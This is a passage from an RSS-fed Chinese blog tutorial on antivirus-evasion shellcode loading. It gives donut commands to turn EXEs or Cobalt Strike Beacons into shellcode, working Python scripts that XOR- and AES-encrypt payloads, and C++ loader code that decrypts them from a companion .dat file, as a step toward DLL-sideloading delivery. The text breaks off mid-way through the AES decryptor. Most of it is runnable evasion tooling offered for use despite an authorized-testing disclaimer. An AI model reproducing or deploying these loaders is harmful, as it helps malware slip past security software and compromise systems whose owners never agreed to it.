<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title>Evasion - 标签 - Simon's Blog</title><link>https://blog.leeissonba.com/tags/evasion/</link><description>Evasion - 标签 - Simon's Blog</description><generator>Hugo -- gohugo.io</generator><language>zh-CN</language><managingEditor>leeissonba@gmail.com (Simon)</managingEditor><webMaster>leeissonba@gmail.com (Simon)</webMaster><copyright>Simon</copyright><lastBuildDate>Tue, 28 Jul 2026 23:10:00 +0800</lastBuildDate><atom:link href="https://blog.leeissonba.com/tags/evasion/" rel="self" type="application/rss+xml"/><item><title>Shellcode 免杀加载完整流程</title><link>https://blog.leeissonba.com/shellcode-evasion-loading-workflow/</link><pubDate>Tue, 28 Jul 2026 23:10:00 +0800</pubDate><author>leeissonba@gmail.com (Simon)</author><guid>https://blog.leeissonba.com/shellcode-evasion-loading-workflow/</guid><description><![CDATA[<div class="featured-image">
                <img src="https://blog.leeissonba.com/images/posts/shellcode-evasion-loading-workflow/featured.jpg" alt="Shellcode 免杀加载完整流程" referrerpolicy="no-referrer">
            </div><p>从 EXE/Beacon 提取或 Cobalt Strike 直接生成 shellcode，经 XOR/AES 加密后，可通过独立加载器或白加黑 DLL 在目标环境解密执行。本文按「生成 → 加密 → 加载 → 交付」梳理完整链路，并给出 CS 白加黑与 GodPotato 两个实战案例。</p>
<div class="details admonition warning open">
    <div class="details-summary admonition-title">
        <i class="icon fas fa-exclamation" aria-hidden="true"></i>合规声明<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">仅供授权渗透测试、安全研究与防御评估使用。请勿用于未授权系统。</div>
    </div>
</div>
<h2 id="整体流程">整体流程</h2>
<div class="mermaid" id="id-4">flowchart LR
    subgraph S1[&#34;① 生成 Shellcode&#34;]
        A1[&#34;EXE / Beacon&#34;] --&gt; A2[&#34;donut / go-donut&#34;]
        A3[&#34;Cobalt Strike&#34;] --&gt; A4[&#34;C 格式 shellcode / .bin&#34;]
        A2 --&gt; B[&#34;原始 shellcode&#34;]
        A4 --&gt; B
    end

    subgraph S2[&#34;② 加密&#34;]
        B --&gt; C{&#34;加密算法&#34;}
        C --&gt; C1[&#34;XOR&#34;]
        C --&gt; C2[&#34;AES&#34;]
        C --&gt; C3[&#34;RSA（参考）&#34;]
        C1 --&gt; D[&#34;.dat / .ini&#34;]
        C2 --&gt; D
        C3 --&gt; D
    end

    subgraph S3[&#34;③ 加载 / 交付&#34;]
        D --&gt; E1[&#34;手动加载器&lt;br/&gt;VirtualProtect / VirtualAlloc&#34;]
        D --&gt; E2[&#34;白加黑 DLL 解密执行&#34;]
        D --&gt; E3[&#34;Go 现成加载器&#34;]
        E2 --&gt; F[&#34;白 EXE 触发上线&#34;]
        E1 --&gt; G[&#34;独立 EXE 执行&#34;]
        E3 --&gt; G
    end</div>
<p>白加黑 DLL 劫持原理详见已发布文章：<a href="https://blog.leeissonba.com/posts/windows-dll-hijacking-analysis/" target="_blank" rel="noopener noreffer ">Windows 白加黑技术剖析</a>。</p>
<h2 id="一生成-shellcode">一、生成 Shellcode</h2>
<h3 id="11-从-exe-提取donut--go-donut">1.1 从 EXE 提取（donut / go-donut）</h3>
<p><strong>go-donut</strong>（仅输出 bin 格式）：<a href="https://github.com/Binject/go-donut" target="_blank" rel="noopener noreffer ">Binject/go-donut</a></p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">./go-donut -i windows_amd64.exe   <span class="c1"># 注意必须有后缀，否则生成的 bin 不可用</span></span></span></code></pre></div></div>
<p><strong>donut</strong>（推荐）：<a href="https://github.com/TheWover/donut" target="_blank" rel="noopener noreffer ">TheWover/donut</a></p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># -f 3：C 类型 shellcode；-z 2：压缩</span>
</span></span><span class="line"><span class="cl">donut.exe -i windows_i386.exe -f <span class="m">3</span> -z <span class="m">2</span></span></span></code></pre></div></div>
<div class="details admonition warning open">
    <div class="details-summary admonition-title">
        <i class="icon fas fa-exclamation" aria-hidden="true"></i>架构一致<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">shellcode 位数必须与<strong>最终执行它的进程</strong>一致。例如白加黑宿主 <code>et.exe</code> 为 x64，则 CS / donut 也必须出 x64；x86 shellcode 进 x64 进程会直接崩溃。</div>
    </div>
</div>
<h3 id="12-从-cobalt-strike-直接生成">1.2 从 Cobalt Strike 直接生成</h3>
<ol>
<li>CS → <strong>Attacks → Packages → Payload Generator</strong>（输出 C 格式 shellcode；<code>Windows Executable (S)</code> 生成的是可执行文件，不是本文所用的字节数组）</li>
<li>输出格式选 <strong>C</strong>，得到形如 <code>unsigned char buf[] = &quot;\x90\x90...&quot;;</code> 的数组</li>
<li>若走本文的 Python 加密脚本：需得到<strong>原始二进制</strong> <code>.bin</code>（不要只去掉 <code>\x</code> 留下十六进制文本；可用脚本把 <code>\xHH</code> 转为字节，或直接导出/转换 bin）</li>
<li>进入第二章加密，再交由白加黑 DLL 或独立加载器执行</li>
</ol>
<h2 id="二加密方式">二、加密方式</h2>
<h3 id="21-xor-异或加密解密">2.1 XOR 异或加密解密</h3>
<h4 id="python-加密">Python 加密</h4>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-python">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">sys</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">xor_encrypt</span><span class="p">(</span><span class="n">shellcode</span><span class="p">,</span> <span class="n">key</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">encrypted_shellcode</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="n">key_len</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">shellcode</span><span class="p">)):</span>
</span></span><span class="line"><span class="cl">        <span class="n">encrypted_shellcode</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">shellcode</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^</span> <span class="n">key</span><span class="p">[</span><span class="n">i</span> <span class="o">%</span> <span class="n">key_len</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">encrypted_shellcode</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">3</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Usage: python3 ShellcodeEncrypt.py &lt;payload.bin&gt; &lt;payload.dat&gt;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="s2">&#34;rb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">file</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">shellcode</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">file</span><span class="o">.</span><span class="n">read</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">key</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;henry123456aa+-==@asd&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">encrypted_shellcode</span> <span class="o">=</span> <span class="n">xor_encrypt</span><span class="p">(</span><span class="n">shellcode</span><span class="p">,</span> <span class="n">key</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span> <span class="s2">&#34;wb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">output_file</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">output_file</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">encrypted_shellcode</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">&#39;__main__&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">main</span><span class="p">()</span></span></span></code></pre></div></div>
<h4 id="c-解密">C++ 解密</h4>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-cpp">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstdio&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstring&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstdlib&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span><span class="o">*</span> <span class="nf">FileToMem</span><span class="p">(</span><span class="k">const</span> <span class="n">WCHAR</span><span class="o">*</span> <span class="n">FilePath</span><span class="p">,</span> <span class="n">_Out_</span> <span class="n">DWORD</span><span class="o">&amp;</span> <span class="n">BufSize</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">FILE</span><span class="o">*</span> <span class="n">file</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">_wfopen_s</span><span class="p">(</span><span class="o">&amp;</span><span class="n">file</span><span class="p">,</span> <span class="n">FilePath</span><span class="p">,</span> <span class="sa">L</span><span class="s">&#34;rb&#34;</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span> <span class="o">||</span> <span class="o">!</span><span class="n">file</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="k">nullptr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">fseek</span><span class="p">(</span><span class="n">file</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">SEEK_END</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">BufSize</span> <span class="o">=</span> <span class="n">ftell</span><span class="p">(</span><span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">fseek</span><span class="p">(</span><span class="n">file</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">SEEK_SET</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="kt">void</span><span class="o">*</span> <span class="n">RetVoid</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">BufSize</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">RetVoid</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">fclose</span><span class="p">(</span><span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="k">nullptr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">fread</span><span class="p">(</span><span class="n">RetVoid</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">BufSize</span><span class="p">,</span> <span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">fclose</span><span class="p">(</span><span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">RetVoid</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 从与可执行文件同名的 .dat 文件中读取加密 shellcode
</span></span></span><span class="line"><span class="cl"><span class="n">WCHAR</span> <span class="n">szFilePath</span><span class="p">[</span><span class="n">MAX_PATH</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl"><span class="n">GetModuleFileName</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">szFilePath</span><span class="p">,</span> <span class="n">MAX_PATH</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="n">lstrcpyW</span><span class="p">((</span><span class="n">szFilePath</span> <span class="o">+</span> <span class="p">(</span><span class="n">lstrlenW</span><span class="p">(</span><span class="n">szFilePath</span><span class="p">)</span> <span class="o">-</span> <span class="mi">3</span><span class="p">)),</span> <span class="sa">L</span><span class="s">&#34;dat&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">DWORD</span> <span class="n">size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kt">void</span><span class="o">*</span> <span class="n">buffer</span> <span class="o">=</span> <span class="n">FileToMem</span><span class="p">(</span><span class="n">szFilePath</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="n">buffer</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">char</span><span class="o">*</span> <span class="n">shellcode</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">char</span><span class="p">[</span><span class="n">size</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="n">memcpy</span><span class="p">(</span><span class="n">shellcode</span><span class="p">,</span> <span class="n">buffer</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">free</span><span class="p">(</span><span class="n">buffer</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">const</span> <span class="kt">char</span> <span class="n">key</span><span class="p">[]</span> <span class="o">=</span> <span class="s">&#34;henry123456aa+-==@asd&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">keylength</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">key</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="n">DWORD</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">size</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">shellcode</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^=</span> <span class="n">key</span><span class="p">[</span><span class="n">i</span> <span class="o">%</span> <span class="n">keylength</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// shellcode 已解密，长度为 size
</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div>
<h3 id="22-aes-加密解密">2.2 AES 加密解密</h3>
<p>依赖：<a href="https://github.com/kokke/tiny-AES-c" target="_blank" rel="noopener noreffer ">tiny-AES-c</a>（将 <code>aes.c</code>、<code>aes.h</code>、<code>aes.hpp</code> 加入项目）</p>
<h4 id="python-加密-1">Python 加密</h4>
<div class="details admonition note open">
    <div class="details-summary admonition-title">
        <i class="icon far fa-pen-to-square" aria-hidden="true"></i>依赖<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">需安装 <code>pycryptodome</code>：<code>pip uninstall crypto pycrypto &amp;&amp; pip install pycryptodome</code></div>
    </div>
</div>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-python">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Util.Padding</span> <span class="kn">import</span> <span class="n">pad</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">sys</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="n">key</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">&#39;0123456789abcdef&#39;</span>
</span></span><span class="line"><span class="cl">    <span class="n">iv</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">&#39;0123456789abcdef&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">3</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Usage: python3 shellcodeAESenc.py &lt;payload.bin&gt; &lt;payload.dat&gt;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="s2">&#34;rb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">file</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">shellcode</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">file</span><span class="o">.</span><span class="n">read</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Original Shellcode Size:&#34;</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">shellcode</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="o">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="n">iv</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">padded_data</span> <span class="o">=</span> <span class="n">pad</span><span class="p">(</span><span class="n">shellcode</span><span class="p">,</span> <span class="n">AES</span><span class="o">.</span><span class="n">block_size</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">encrypt</span> <span class="o">=</span> <span class="n">cipher</span><span class="o">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">padded_data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span> <span class="s2">&#34;wb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">output_file</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">output_file</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">encrypt</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">&#39;__main__&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">main</span><span class="p">()</span></span></span></code></pre></div></div>
<h4 id="cc-解密">C/C++ 解密</h4>
<div class="code-block code-line-numbers" style="counter-reset: code-block 0">
    <div class="code-header language-cpp">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstdio&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstring&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstdlib&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&#34;aes.hpp&#34;</span><span class="cp">
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span><span class="o">*</span> <span class="nf">FileToMem</span><span class="p">(</span><span class="k">const</span> <span class="n">WCHAR</span><span class="o">*</span> <span class="n">FilePath</span><span class="p">,</span> <span class="n">_Out_</span> <span class="n">DWORD</span><span class="o">&amp;</span> <span class="n">BufSize</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">FILE</span><span class="o">*</span> <span class="n">file</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">_wfopen_s</span><span class="p">(</span><span class="o">&amp;</span><span class="n">file</span><span class="p">,</span> <span class="n">FilePath</span><span class="p">,</span> <span class="sa">L</span><span class="s">&#34;rb&#34;</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span> <span class="o">||</span> <span class="o">!</span><span class="n">file</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="k">nullptr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">fseek</span><span class="p">(</span><span class="n">file</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">SEEK_END</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">BufSize</span> <span class="o">=</span> <span class="n">ftell</span><span class="p">(</span><span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">fseek</span><span class="p">(</span><span class="n">file</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">SEEK_SET</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="kt">void</span><span class="o">*</span> <span class="n">RetVoid</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">BufSize</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">RetVoid</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">fclose</span><span class="p">(</span><span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="k">nullptr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">fread</span><span class="p">(</span><span class="n">RetVoid</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">BufSize</span><span class="p">,</span> <span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">fclose</span><span class="p">(</span><span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">RetVoid</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">WCHAR</span> <span class="n">szFilePath</span><span class="p">[</span><span class="n">MAX_PATH</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl">    <span class="n">GetModuleFileName</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">szFilePath</span><span class="p">,</span> <span class="n">MAX_PATH</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">lstrcpyW</span><span class="p">((</span><span class="n">szFilePath</span> <span class="o">+</span> <span class="p">(</span><span class="n">lstrlenW</span><span class="p">(</span><span class="n">szFilePath</span><span class="p">)</span> <span class="o">-</span> <span class="mi">3</span><span class="p">)),</span> <span class="sa">L</span><span class="s">&#34;dat&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">DWORD</span> <span class="n">size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">void</span><span class="o">*</span> <span class="n">buffer</span> <span class="o">=</span> <span class="n">FileToMem</span><span class="p">(</span><span class="n">szFilePath</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">buffer</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="kt">char</span><span class="o">*</span> <span class="n">shellcode</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">char</span><span class="p">[</span><span class="n">size</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">        <span class="n">memcpy</span><span class="p">(</span><span class="n">shellcode</span><span class="p">,</span> <span class="n">buffer</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">free</span><span class="p">(</span><span class="n">buffer</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="c1">// 长度须为 16 字节；勿用带尾随 &#39;\0&#39; 的字符串字面量当 key/iv
</span></span></span><span class="line"><span class="cl">        <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">key</span><span class="p">[</span><span class="mi">16</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span>
